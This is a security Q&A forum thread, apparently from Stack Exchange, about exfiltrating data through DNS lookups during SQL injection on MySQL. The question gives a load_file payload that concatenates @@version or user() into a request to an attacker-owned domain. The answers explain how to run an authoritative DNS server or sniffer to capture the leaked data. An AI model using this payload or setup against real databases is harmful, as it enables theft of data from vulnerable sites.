2

I was looking at Excellent Article from Defcon 15's which was Data retrieval over DNS during SQL Injection Attacks. (https://www.youtube.com/watch?v=iQDw0hK_eFw). In this the speaker demonstrated the Attacks against MSSQL.

I just tried to reproduce the Same issue but with MySQL server, by little lookup i found load_file(\\\\dns.mysite.com\\) can Hit DNS server exposing whatever attacker concats into load_file() like @@version , user() etc if the Application is Vulnerable . The question is How could i actually Keep the SNIFF THE DNS Request made to my server , As you look in the video the speaker users a DNS Sniffer to log the Hit request from vulnerable site to his Server.

Do anyone have inputs about How to practically setup a Attacker's web server (mysite.com) by DNS Sniffing or any other techniques which i missed out here?

| improve this question | |
2

Interesting video. In my opinion, to setup this kind on technique, you need to:

  1. Own a domain name, say mysite.com

  2. Each domain name has an "Authoritative name server". Usually the Authoritative name server are managed by the company that sold you the domain name.

  3. You need to setup you own Authoritative DNS server on a public IP address, then ask the company that sold you the domain name to set your DNS server as the Authoritative name server for your domain.

  4. Now you own the DNS server that will respond to the DNS query made by this supposedly vulnerable website/application

  5. Due to the fact that you own the DNS server you can simply log all the DNS request, that will contain your data.
    Or maybe you prefer to setup a sniffer, like Wireshark, on the DNS server, to just sniff the DNS requests in real time.

Note: I never tried to setup an Authoritative name server, so I don't know if there is any particular thing (technical or bureaucratic) to do.

Note 2: DNS modifications take time to propagate, so I suppose that also an Authoritative name server change will take some time to propagate world-wide.

| improve this answer | |
  • I will just try out this, I also have planned some points in my Mind just as you told. First of all I am going to make a Subdomain and than i would start a Dnscat which is DNS Sniffer on that, so as soon as the Vulnerable remote server hit's to it, the DNS Query would get logged onto my server ... – Gerorge Timber Jun 23 '16 at 17:12

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.